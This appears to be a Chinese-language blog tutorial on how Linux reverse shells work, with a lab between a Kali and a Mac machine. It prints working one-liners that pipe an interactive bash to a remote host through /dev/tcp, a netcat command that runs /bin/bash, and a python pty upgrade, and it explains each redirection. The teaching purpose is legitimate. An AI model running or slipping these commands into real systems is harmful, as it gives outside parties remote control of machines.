linux反彈shell的原理詳解

2022-09-26 13:21:35 字數 1216 閱讀 6017

完整命令

**shell命令:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

bash -i > /dev/tcp/ip/port 0>&1 2>&1

利用nc**shell:

nc -lvvp 12345 -t -e /bin/bash

原理bash -i > /dev/tcp/ip/port 0>&1 2>&1

bash -i 開啟乙個互動式的bash

&是為了區分檔案1和檔案描述符1的

a>&b 的意思是 a>b 2>&1

0代表輸入 ,0>&1 意思是,將輸出的視窗上所輸入的值當作當前視窗的輸入。**shell後會有兩個視窗,即靶機的shell視窗跟攻擊機的shell口。這命令的意思也可以理解為,將攻擊機視窗的輸入當作靶機視窗的輸入最終輸入給靶機。2代表標準錯誤輸出。

實驗通過乙個小實驗幫助大家理解

第一步,將s的正確輸出重定向到外部主機

假設我們在kali上輸入的命令為:

bash -i > /dev/tcp/192.168.124.1/9999,這句話的意思是將互動式shell的標準輸出重定向到192.168.124.1的9999埠。

在mac上監聽埠命令為:nc -l 9999

首先在kali上輸入wtgstthoami命令,發現沒有回顯,因為回顯被重定向到了mac上。

但是當我們在kali上出入錯誤命令的時候,卻存在回顯。

第二步,將錯誤輸出重定向到外部主機

我們只需要在上面的命令後面加上 2>&1即可,意思為將錯誤輸出重定向到標準輸出上,也就是重定向到我們的外部主機。

這時候發現在kali上按鍵盤已經沒有任何回顯了,回顯全部出現在了mac的shell上:

這是因為我們已經將所有的輸出都重定向到了外部主機上,但問題是現在我們的控制權還在kali上,mac無法進行任何輸出操作,只能顯示輸出。這時候我們幾句需要將輸入的許可權給予我們的mac。

第三步,交出輸入許可權

只需要在第二步命令的基礎上加上 0>&1即可。

這時候已經可以在mac上完全控制kali的shell了,實驗結束。

其他當shell不穩定時候用python的虛擬化終端:

python -c "import pty;pty.spawn('/bin/bash')"

參考: #將shell轉換成完全tty

https://www.程式設計客棧anquanke.com/post/id/87017

反彈shell集錦

就是控制端監聽在某tcp udp埠,被控端發起請求到該埠,並將其命令列的輸入輸出轉到控制端。reverse shell與telnet,ssh等標準shell對應,本質上是網路概念的客戶端與服務端的角色反轉。通常用於被控端因防火牆受限 許可權不足 埠被占用等情形 假設我們攻擊了一台機器,開啟了該機器的...

反彈shell方法記錄

一 基於awk hacker機器上執行命令 nc l port hacker機器一直監聽某埠。在受害主機上執行命令 awk begin while c exit close s dev n 受害主機主動向hacker傳送shell連線。二 純nc hacker機器上執行命令 nc l port ha...

使用NC命令反彈Shell

本文使用兩台電腦操作,一台是kali 192.168.0.23 一台是mac 192.168.0.24 有些電腦不支援,而且跟機器使用順序還有關係。比如我在kali上 192.168.0.23 輸入 root kali nc l 1234在mac上 192.168.0.24 輸入 nc 192.16...